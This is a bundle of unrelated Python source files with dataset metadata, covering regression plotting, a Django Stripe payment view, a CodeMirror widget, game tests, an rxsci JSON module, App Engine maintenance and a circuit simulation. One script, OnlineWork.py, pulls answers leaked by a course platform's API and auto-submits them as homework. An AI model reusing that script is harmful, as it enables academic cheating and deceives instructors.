6.5\n\nlin_reg_2.predict(poly_reg.fit_transform(6.5))\n\n\n\n\n\n\n\n\n\n", "sub_path": "Regression/Polynomial Regression/sk_polynomial_regression.py", "file_name": "sk_polynomial_regression.py", "file_ext": "py", "file_size_in_byte": 1438, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 37, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}]} {"seq_id": "636478741", "text": "import json\n\nimport stripe\n\nfrom django.urls import reverse\nfrom django.views.generic import ListView, DetailView\nfrom django.http import HttpResponseRedirect\nfrom django.conf import settings\nfrom django.views import View\nfrom django.http import JsonResponse\n\nfrom rest_framework import generics\n\nfrom .models import Course\nfrom .serializers import CourseSerializer\n\n\nclass CourseListAPIView(generics.ListAPIView):\n queryset = Course.objects.all()\n serializer_class = CourseSerializer\n\n\nclass CourseDetailAPIView(generics.RetrieveAPIView):\n queryset = Course.objects.all()\n serializer_class = CourseSerializer\n\n\n#################\n# direct charge #\n#################\n\nclass CourseChargeView(View):\n\n def post(self, request, *args, **kwargs):\n stripe.api_key = settings.STRIPE_SECRET_KEY\n json_data = json.loads(request.body)\n course = Course.objects.filter(id=json_data['course_id']).first()\n fee_percentage = .01 * int(course.fee)\n try:\n customer = get_or_create_customer(\n # self.request.user.email,\n # pull the email off the request\n json_data['email'],\n json_data['token'],\n course.seller.stripe_access_token,\n course.seller.stripe_user_id,\n )\n charge = stripe.Charge.create(\n amount=json_data['amount'],\n currency='usd',\n customer=customer.id,\n description=json_data['description'],\n application_fee=int(json_data['amount'] * fee_percentage),\n stripe_account=course.seller.stripe_user_id,\n )\n if charge:\n return JsonResponse({'status': 'success'}, status=202)\n except stripe.error.StripeError as e:\n return JsonResponse({'status': 'error'}, status=500)\n\n# helpers\n\ndef get_or_create_customer(email, token, stripe_access_token, stripe_account):\n stripe.api_key = stripe_access_token\n connected_customers = stripe.Customer.list()\n for customer in connected_customers:\n if customer.email == email:\n print(f'{email} found')\n return customer\n print(f'{email} created')\n return stripe.Customer.create(\n email=email,\n source=token,\n stripe_account=stripe_account,\n )\n", "sub_path": "courses/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2350, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.generics.ListAPIView", "line_number": 18, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 18, "usage_type": "name"}, {"api_name": "models.Course.objects.all", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 19, "usage_type": "name"}, {"api_name": "serializers.CourseSerializer", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.generics.RetrieveAPIView", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.generics", "line_number": 23, "usage_type": "name"}, {"api_name": "models.Course.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 24, "usage_type": "name"}, {"api_name": "serializers.CourseSerializer", "line_number": 25, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 32, "usage_type": "name"}, {"api_name": "stripe.api_key", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.conf.settings.STRIPE_SECRET_KEY", "line_number": 35, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 35, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}, {"api_name": "models.Course.objects.filter", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Course.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "models.Course", "line_number": 37, "usage_type": "name"}, {"api_name": "stripe.Charge.create", "line_number": 48, "usage_type": "call"}, {"api_name": "stripe.Charge", "line_number": 48, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 57, "usage_type": "call"}, {"api_name": "stripe.error", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 59, "usage_type": "call"}, {"api_name": "stripe.api_key", "line_number": 64, "usage_type": "attribute"}, {"api_name": "stripe.Customer.list", "line_number": 65, "usage_type": "call"}, {"api_name": "stripe.Customer", "line_number": 65, "usage_type": "attribute"}, {"api_name": "stripe.Customer.create", "line_number": 71, "usage_type": "call"}, {"api_name": "stripe.Customer", "line_number": 71, "usage_type": "attribute"}]} {"seq_id": "363971154", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nFields and widgets\n\"\"\"\nimport json, copy\n\nfrom django import forms\nfrom django.core.urlresolvers import reverse\n\nfrom django.forms.widgets import flatatt\nfrom django.utils.html import escape\nfrom django.utils.safestring import mark_safe\n\nfrom djangocodemirror import settings_local\nfrom djangocodemirror.config import ConfigManager\n\nclass CodeMirrorWidget(forms.Textarea):\n \"\"\"\n Widget to add a CodeMirror or DjangoCodeMirror instance on a textarea\n Take the same arguments than ``forms.Textarea`` and accepts one suplementary\n optionnal arguments :\n \n * ``config_name`` name of the settings to use, a valid key name from\n ``settings.CODEMIRROR_SETTINGS``. Default to \"default\" that is the default config \n with minimal options;\n \"\"\"\n def __init__(self, attrs=None, config_name='default', **kwargs):\n super(CodeMirrorWidget, self).__init__(attrs=attrs, **kwargs)\n self.config_name = config_name\n \n def init_editor_config(self):\n return ConfigManager(\n config_name=self.config_name,\n )\n\n def render(self, name, value, attrs=None):\n if not hasattr(self, \"editor_config_manager\"):\n self.editor_config_manager = self.init_editor_config()\n \n final_attrs = self.build_attrs(attrs, name=name)\n \n html = [super(CodeMirrorWidget, self).render(name, value, attrs)]\n # Append HTML for the Javascript settings just below the textarea\n if self.editor_config_manager.settings['embed_settings']:\n html.append(self._build_codemirror_settings(final_attrs))\n \n return mark_safe(u'\\n'.join(html))\n\n def _build_codemirror_settings(self, final_attrs):\n \"\"\"build HTML for the Javascript settings\"\"\"\n html = settings_local.DJANGOCODEMIRROR_FIELD_INIT_JS\n if self.editor_config_manager.settings['codemirror_only']:\n html = settings_local.CODEMIRROR_FIELD_INIT_JS\n return html.format(inputid=final_attrs['id'], settings=json.dumps(self.editor_config_manager.editor_config))\n\n @property\n def media(self):\n \"\"\"\n Adds necessary files (Js/CSS) to the widget's medias\n \"\"\"\n if not hasattr(self, \"editor_config_manager\"):\n self.editor_config_manager = self.init_editor_config()\n css, js = self.editor_config_manager.find_assets()\n return forms.Media(\n css={\"all\": css},\n js=js\n )\n", "sub_path": "djangocodemirror/widgets.py", "file_name": "widgets.py", "file_ext": "py", "file_size_in_byte": 2474, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.forms.Textarea", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 17, "usage_type": "name"}, {"api_name": "djangocodemirror.config.ConfigManager", "line_number": 32, "usage_type": "call"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 47, "usage_type": "call"}, {"api_name": "djangocodemirror.settings_local.DJANGOCODEMIRROR_FIELD_INIT_JS", "line_number": 51, "usage_type": "attribute"}, {"api_name": "djangocodemirror.settings_local", "line_number": 51, "usage_type": "name"}, {"api_name": "djangocodemirror.settings_local.CODEMIRROR_FIELD_INIT_JS", "line_number": 53, "usage_type": "attribute"}, {"api_name": "djangocodemirror.settings_local", "line_number": 53, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 54, "usage_type": "call"}, {"api_name": "django.forms.Media", "line_number": 64, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 64, "usage_type": "name"}]} {"seq_id": "80907200", "text": "from lib import blocks\nfrom lib import creature as cre\n\n\ndef test_the_creation_of_a_grid():\n # A grid holds the colors of the squares\n\n # We need a map to return the color for the grid. It starts off grey so that's all we need. It's a function in case we want to randomize it for fun\n color_map = {'grey': lambda: (1, 128, 1)}\n\n assert(len(blocks.create_grid(3, 3, color_map)) == 3)\n\n\ndef test_move_a_creature_around():\n # create a creature and a grid and make it move around\n\n # a creature is just a position right now\n creature = cre.create_creature()\n\n grid = blocks.create_grid(3, 3, _make_some_colors())\n\n # now move the creature a few times and see if it explodes\n for _ in range(10):\n grid, creature = blocks.move_creature(creature, grid, _make_some_colors())\n assert(creature)\n\n\ndef test_creature_moving_onto_food_heals(monkeypatch):\n creature = cre.create_creature()\n color_map = _make_some_colors()\n grid = blocks.create_grid(3, 3, _make_some_colors())\n food = cre.create_creature(0, 1)\n foods_map = {(0, 1): food}\n\n # put the food on the grid\n grid = blocks.set_food_onto_grid(grid, foods_map, color_map)\n\n # make the creature move to the right, where we put the food\n def move_right(creature):\n return 'right'\n monkeypatch.setattr(cre, '_ask_creature_where_to_move_to', move_right)\n\n grid, creature = blocks.move_creature(creature, grid, _make_some_colors())\n\n # eat\n creature, foods_map, new_food = cre.handle_eating(creature, foods_map)\n assert(creature['hp'] == 550)\n\n\ndef _make_some_colors():\n color_map = {\n 'yellow': lambda: (1, 1, 1),\n 'grey': lambda: (1, 128, 1),\n 'blue': lambda: (1, 1, 1)\n }\n return color_map\n", "sub_path": "test_all.py", "file_name": "test_all.py", "file_ext": "py", "file_size_in_byte": 1751, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "lib.blocks.create_grid", "line_number": 11, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 11, "usage_type": "name"}, {"api_name": "lib.creature.create_creature", "line_number": 18, "usage_type": "call"}, {"api_name": "lib.creature", "line_number": 18, "usage_type": "name"}, {"api_name": "lib.blocks.create_grid", "line_number": 20, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 20, "usage_type": "name"}, {"api_name": "lib.blocks.move_creature", "line_number": 24, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 24, "usage_type": "name"}, {"api_name": "lib.creature.create_creature", "line_number": 29, "usage_type": "call"}, {"api_name": "lib.creature", "line_number": 29, "usage_type": "name"}, {"api_name": "lib.blocks.create_grid", "line_number": 31, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 31, "usage_type": "name"}, {"api_name": "lib.creature.create_creature", "line_number": 32, "usage_type": "call"}, {"api_name": "lib.creature", "line_number": 32, "usage_type": "name"}, {"api_name": "lib.blocks.set_food_onto_grid", "line_number": 36, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 36, "usage_type": "name"}, {"api_name": "lib.creature", "line_number": 41, "usage_type": "argument"}, {"api_name": "lib.blocks.move_creature", "line_number": 43, "usage_type": "call"}, {"api_name": "lib.blocks", "line_number": 43, "usage_type": "name"}, {"api_name": "lib.creature.handle_eating", "line_number": 46, "usage_type": "call"}, {"api_name": "lib.creature", "line_number": 46, "usage_type": "name"}]} {"seq_id": "455774138", "text": "from model import *\nimport sys\nimport cv2\nimport imutils\n\nimg = cv2.imread(\"./tmp.png\")\nimg = cv2.resize(img, (28, 28))\n\nimg = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n\n_, img = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY_INV)\n \ncv2.imshow(\"window\", img)\ncv2.waitKey(0)\n\nModel = DigitClassifier(28, 10)\nprint(\"loading...\")\nModel.load(\"./RS18_09model.pth\")\nprint(\"loaded\")\n\nP = Model.Predict(np.array([img]))\nprint(P)\n", "sub_path": "classifier_number_img.py", "file_name": "classifier_number_img.py", "file_ext": "py", "file_size_in_byte": 420, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 9, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 14, "usage_type": "call"}]} {"seq_id": "104424428", "text": "import typing\nimport json\n\nimport rx\nimport rx.operators as ops\nimport rxsci.io.file as file\nimport rxsci.framing.line as line\n\n\ndef load(skip=0, ignore_error=False):\n ''' Loads a json observable.\n\n The source observable must emit one JSON string per item\n The source must be an Observable.\n\n Args:\n skip: number of items to skip before parsing\n ignore_error: Ignore errors while parsing JSON\n\n Returns:\n An observable of dicts corresponding to the source json content.\n '''\n def load_json(i):\n try:\n i = json.loads(i)\n except Exception as e:\n if ignore_error is True:\n print(f\"{e}: Ignoring this object.\")\n return None\n else:\n raise e\n return i\n\n def _load(source):\n return source.pipe(\n ops.skip(skip),\n ops.map(load_json),\n ops.filter(lambda i: i is not None),\n )\n\n return _load\n\n\ndef load_from_file(\n filename,\n lines=True, skip=0,\n ignore_error=False, encoding=None\n):\n ''' Loads a json file.\n\n This factory loads the provided file. The format of the returned observable\n depends on the *lines* parameter.\n\n Args:\n filename: Path of the file to read or a file object\n lines: Parse file as a JSON Line when set to True, as a single JSON object otherwise.\n skip: [Optional] Number of lines to skip before parsing\n encoding [Optional] Encoding used to parse the text content\n\n Returns:\n An observable of namedtuple items, where each key is a csv column\n '''\n\n if lines is True:\n return file.read(filename, size=64*1024, encoding=encoding).pipe(\n line.unframe(),\n load(skip=skip, ignore_error=ignore_error),\n )\n else:\n return file.read(filename, size=-1, encoding=encoding).pipe(\n load(skip=skip, ignore_error=ignore_error),\n )\n\n\ndef dump(newline='\\n'):\n ''' dumps an observable to JSON.\n\n If several the source observable emits several items, then they are framed\n as JSON line.\n The source must be an Observable.\n\n Args:\n newline: [Optional] Character(s) used for end of line.\n\n Returns:\n An observable string items, where each item is a csv line.\n '''\n def _dump(source):\n def on_subscribe(observer, scheduler):\n\n def on_next(i):\n line = json.dumps(i)\n line += newline\n observer.on_next(line)\n\n return source.subscribe(\n on_next=on_next,\n on_completed=observer.on_completed,\n on_error=observer.on_error,\n scheduler=scheduler,\n )\n return rx.create(on_subscribe)\n\n return _dump\n\n\ndef dump_to_file(\n filename,\n newline='\\n',\n encoding=None\n):\n ''' dumps each item to a JSON file.\n\n The source must be an Observable.\n\n Args:\n filename: Path of the file to read or a file object\n newline: [Optional] Character(s) used for end of line.\n encoding [Optional] Encoding used to parse the text content\n\n Returns:\n An empty observable that completes on success when the source\n observable completes or completes on error if there is an error\n while writing the csv file.\n '''\n def _dump_to_file(source):\n mode = None\n if encoding is not None:\n mode = 'wb'\n return source.pipe(\n dump(newline=newline),\n ops.map(lambda i: i.encode(encoding) if encoding is not None else i),\n file.write(\n file=filename,\n mode=mode,\n ),\n )\n\n return _dump_to_file\n", "sub_path": "rxsci/container/json.py", "file_name": "json.py", "file_ext": "py", "file_size_in_byte": 3736, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "rx.operators.skip", "line_number": 36, "usage_type": "call"}, {"api_name": "rx.operators", "line_number": 36, "usage_type": "name"}, {"api_name": "rx.operators.map", "line_number": 37, "usage_type": "call"}, {"api_name": "rx.operators", "line_number": 37, "usage_type": "name"}, {"api_name": "rx.operators.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "rx.operators", "line_number": 38, "usage_type": "name"}, {"api_name": "rxsci.io.file.read", "line_number": 65, "usage_type": "call"}, {"api_name": "rxsci.io.file", "line_number": 65, "usage_type": "name"}, {"api_name": "rxsci.framing.line.unframe", "line_number": 66, "usage_type": "call"}, {"api_name": "rxsci.framing.line", "line_number": 66, "usage_type": "name"}, {"api_name": "rxsci.io.file.read", "line_number": 70, "usage_type": "call"}, {"api_name": "rxsci.io.file", "line_number": 70, "usage_type": "name"}, {"api_name": "rxsci.framing.line", "line_number": 92, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 92, "usage_type": "call"}, {"api_name": "rxsci.framing.line", "line_number": 93, "usage_type": "name"}, {"api_name": "rxsci.framing.line", "line_number": 94, "usage_type": "argument"}, {"api_name": "rx.create", "line_number": 102, "usage_type": "call"}, {"api_name": "rx.operators.map", "line_number": 132, "usage_type": "call"}, {"api_name": "rx.operators", "line_number": 132, "usage_type": "name"}, {"api_name": "rxsci.io.file.write", "line_number": 133, "usage_type": "call"}, {"api_name": "rxsci.io.file", "line_number": 133, "usage_type": "name"}]} {"seq_id": "439995749", "text": "import json\nimport time\nimport requests\n\nimport main\n\n\n# 获取某个课的作业列表\ndef GetHomeworkList(auth, courseOpenId):\n reps = requests.post('http://api.hnscen.cn/mobile/api/GetHomeworkList',\n {'auth_fix': auth, 'courseOpenId': courseOpenId}).text\n print(reps)\n homeworklistInfo = json.loads(reps)\n return homeworklistInfo\n\n\n# 获取作业详情\ndef GetHomeworkInfo(auth, homeworkId):\n reps = requests.post('http://api.hnscen.cn/mobile/api/GetHomeworkInfo',\n {'auth_fix': auth, 'homeworkId': homeworkId}).text\n homeworkInfo = json.loads(reps)\n return homeworkInfo\n\n\n# 获取作业信息\ndef getPaper(UserId, WorkId):\n print(WorkId)\n reps = requests.get(\n 'http://api.hnscen.cn/mobile/api/getPaper', params={'UserId': UserId, 'WorkId': WorkId}).text\n homeworkContextInfo = json.loads(reps)\n return homeworkContextInfo\n\n\ndef SaveObjectQuestion(Id, data):\n reps = requests.post('http://api.hnscen.cn/mobile/api/SaveObjectQuestion', {'Id': Id, 'data': str(data)})\n\n\ndef SaveWork(Id, data, CourseOpenId, PaperId):\n reps = requests.post('http://api.hnscen.cn/mobile/api/SaveWork',\n {'Id': Id, 'data': str(data), 'Type': 2, 'CourseOpenId': CourseOpenId, 'IsSubmitWithoutAll': 1,\n 'PaperId': PaperId})\n return reps\n\n\nif __name__ == \"__main__\":\n # 获取登陆返回的信息\n logininfo = main.login('username', 'password', None)\n time.sleep(0.1)\n # auth好像比较重要，每个方法都基本上用到了\n print(logininfo)\n auth = logininfo['auth']\n main.getuserinfo(auth)\n # 获取所有的课\n Course = main.MyCourse(auth)\n time.sleep(0.1)\n print('课程列表-----------------------')\n for index, i in enumerate(Course['course']):\n print(index, ':课程名字：' + i['name'] + ' 进度：' + str(i['process']) + '%')\n print('请选择课程：')\n index = input()\n courseOpenId = Course['course'][int(index)]['courseOpenId']\n homeworkList = GetHomeworkList(auth, courseOpenId)\n for index, i in enumerate(homeworkList['data']):\n print(index, '作业名称：' + i['Name'])\n print('请选择作业：')\n index = input()\n print(homeworkList['data'][int(index)]['Id'])\n homeworkId = homeworkList['data'][int(index)]['Id']\n print(homeworkId)\n homeworkInfo = GetHomeworkInfo(auth, homeworkId)\n print(logininfo['userId'])\n homeworkContext = getPaper(logininfo['userId'], homeworkId)\n PaperId = homeworkContext['Paper']['Id']\n PaperPaperId = homeworkContext['Paper']['PaperId']\n data = []\n for index, i in enumerate(homeworkContext['Paper']['BigQuestions']):\n print(i['Title'])\n for index1, j in enumerate(i['StuQuestions']):\n AnswerRes = {\n \"Bindex\": index,\n \"Qindex\": index1,\n \"StuAnswer\": j['Answer'],\n \"IsAssignmented\": 1\n }\n SaveObjectQuestion(PaperId, AnswerRes)\n data.append(AnswerRes)\n print(SaveWork(PaperId, data, courseOpenId, PaperPaperId).text)\n", "sub_path": "OnlineWork.py", "file_name": "OnlineWork.py", "file_ext": "py", "file_size_in_byte": 3127, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.post", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 19, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 30, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 39, "usage_type": "call"}, {"api_name": "main.login", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "main.getuserinfo", "line_number": 52, "usage_type": "call"}, {"api_name": "main.MyCourse", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]} {"seq_id": "515932079", "text": "#!/usr/bin/env python2\n# vim:fileencoding=utf-8\n\nimport gaetalk\nimport logging\nimport datetime\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.api import xmpp\n\nclass Userdeactive(webapp.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n for u in gaetalk.User.all():\n if u.jid.endswith('@gmail.com'):\n if u.avail != gaetalk.OFFLINE and 'fakeresouce' not in u.resources:\n if not xmpp.get_presence(u.jid):\n del u.resources[:]\n u.avail = gaetalk.OFFLINE\n u.last_offline_date = datetime.datetime.now()\n u.put()\n self.response.out.write(u.jid + ' should be offline.\\n')\n self.response.out.write(u'OK.'.encode('utf-8'))\n\nclass Userdedup(webapp.RequestHandler):\n def get(self):\n users = {}\n for u in gaetalk.User.all():\n if u.jid in users:\n users[u.jid].append(u)\n else:\n users[u.jid] = [u]\n for k, v in users.items():\n if len(v) == 1:\n continue\n v.sort(key=lambda u: gaetalk.STATUS_LIST.index(u.avail))\n logging.error(' '.join([x.avail for x in v]))\n for i in v[1:]:\n l = gaetalk.Log(msg=u'删除重复用户', jid=i.jid,\n nick=i.nick, type='misc')\n l.put()\n i.delete()\n self.response.out.write(u'OK.'.encode('utf-8'))\n\napplication = webapp.WSGIApplication(\n [\n ('/_admin/userdedup', Userdedup),\n ('/_admin/userdeactive', Userdeactive),\n ],\n debug=True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == \"__main__\":\n main()\n\n", "sub_path": "usermaintainer.py", "file_name": "usermaintainer.py", "file_ext": "py", "file_size_in_byte": 1639, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "google.appengine.ext.webapp.RequestHandler", "line_number": 11, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp", "line_number": 11, "usage_type": "name"}, {"api_name": "gaetalk.User.all", "line_number": 14, "usage_type": "call"}, {"api_name": "gaetalk.User", "line_number": 14, "usage_type": "attribute"}, {"api_name": "gaetalk.OFFLINE", "line_number": 16, "usage_type": "attribute"}, {"api_name": "google.appengine.api.xmpp.get_presence", "line_number": 17, "usage_type": "call"}, {"api_name": "google.appengine.api.xmpp", "line_number": 17, "usage_type": "name"}, {"api_name": "gaetalk.OFFLINE", "line_number": 19, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp.RequestHandler", "line_number": 25, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.webapp", "line_number": 25, "usage_type": "name"}, {"api_name": "gaetalk.User.all", "line_number": 28, "usage_type": "call"}, {"api_name": "gaetalk.User", "line_number": 28, "usage_type": "attribute"}, {"api_name": "gaetalk.STATUS_LIST.index", "line_number": 36, "usage_type": "call"}, {"api_name": "gaetalk.STATUS_LIST", "line_number": 36, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 37, "usage_type": "call"}, {"api_name": "gaetalk.Log", "line_number": 39, "usage_type": "call"}, {"api_name": "google.appengine.ext.webapp.WSGIApplication", "line_number": 45, "usage_type": "call"}, {"api_name": "google.appengine.ext.webapp", "line_number": 45, "usage_type": "name"}, {"api_name": "google.appengine.ext.webapp.util.run_wsgi_app", "line_number": 53, "usage_type": "call"}]} {"seq_id": "43541810", "text": "#%%\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy.signal import find_peaks\nimport time\n\n# from soen_sim import input_signal, synapse, dendrite, neuron\nfrom _plotting import plot_wr_comparison__synapse__spd_jj_test\nfrom _functions import read_wr_data, chi_squared_error\nfrom util import physical_constants\nfrom soen_sim import input_signal, synapse\np = physical_constants()\n\nplt.close('all')\n\n#%%\n# spike_times = [5e-9,55e-9,105e-9,155e-9,205e-9,255e-9,305e-9,355e-9,505e-9,555e-9,605e-9,655e-9,705e-9,755e-9,805e-9,855e-9]\nspike_times = [5e-9]\n\ndt = 0.01e-9\ntf = 300e-9 # 1e-6\n \n# create sim_params dictionary\nsim_params = dict()\nsim_params['dt'] = dt\nsim_params['tf'] = tf\n\n#%%\ntarget_data_array = []\nactual_data_array = []\nerror_array = []\n\n#%% vary Isy\nI_sy_vec = [39e-6] # [21e-6,39e-6] # [21e-6,27e-6,33e-6,39e-6]\n\nnum_files = len(I_sy_vec)\nt_tot = time.time()\nload_wr = True\nfor ii in range(num_files): # range(1): # \n \n print('\\nvary Isy, ii = {} of {}\\n'.format(ii+1,num_files))\n \n #load WR data\n if load_wr == True:\n # file_name = 'syn_1jj_Ispd20.00uA_trep50ns_Isy{:04.2f}uA_noSI_dt10.0ps_tsim1000ns.dat'.format(I_sy_vec[ii]*1e6)\n file_name = 'syn_1jj_Ispd20.00uA_Isy{:04.2f}uA_noSI_dt00.2ps_tsim1000ns.dat'.format(I_sy_vec[ii]*1e6)\n data_dict = read_wr_data('wrspice_data/test_data/1jj/'+file_name)\n target_drive = np.vstack((data_dict['time'],data_dict['L0#branch']))\n target_data = np.vstack((data_dict['time'],data_dict['L2#branch']))\n target_data_array.append(target_data)\n \n # find fluxon peaks\n time_vec = data_dict['time']\n I_sf_wr = data_dict['L2#branch'] \n V_sf_wr = data_dict['v(4)']\n j_peaks, _ = find_peaks(V_sf_wr, height = 100e-6)\n \n # find inter-fluxon intervals and fluxon generation rates\n j_ifi = np.diff(time_vec[j_peaks])\n j_rate = 1/j_ifi\n \n # calculate average currents, voltages, and times\n V_sf_wr_avg = np.zeros([len(j_peaks)-1])\n I_sf_wr_avg = np.zeros([len(j_peaks)-1])\n time_avg = np.zeros([len(j_peaks)-1])\n \n for jj in range(len(j_peaks)-1):\n ind_vec = np.arange(j_peaks[jj],j_peaks[jj+1],1)\n V_sf_wr_avg[jj] = np.sum(V_sf_wr[ind_vec])/len(ind_vec) \n I_sf_wr_avg[jj] = np.sum(I_sf_wr[ind_vec])/len(ind_vec)\n time_avg[jj] = np.sum(time_vec[ind_vec])/len(ind_vec)\n\n # initialize input signal\n input_1 = input_signal('in', input_temporal_form = 'arbitrary_spike_train', spike_times = spike_times)\n \n # initialize synapse \n synapse_1 = synapse('sy', num_jjs = 1, synaptic_bias_currents = [I_sy_vec[ii]], input_signal_name = 'in', synapse_model_params = sim_params)\n \n synapse_1.run_sim() \n \n I_sf = synapse_1.I_sf\n V_sf = synapse_1.V_sf\n r_spd1 = synapse_1.r_spd1\n I_spd2 = I_sf - I_sy_vec[ii]\n j_sf_state = synapse_1.j_sf_state\n \n actual_drive = np.vstack((synapse_1.time_vec[:],I_spd2[:]))\n actual_data = np.vstack((synapse_1.time_vec[:],I_sf[:])) \n actual_data_array.append(actual_data)\n \n # error_drive = chi_squared_error(target_drive,actual_drive)\n # error_signal = chi_squared_error(target_data,actual_data)\n # 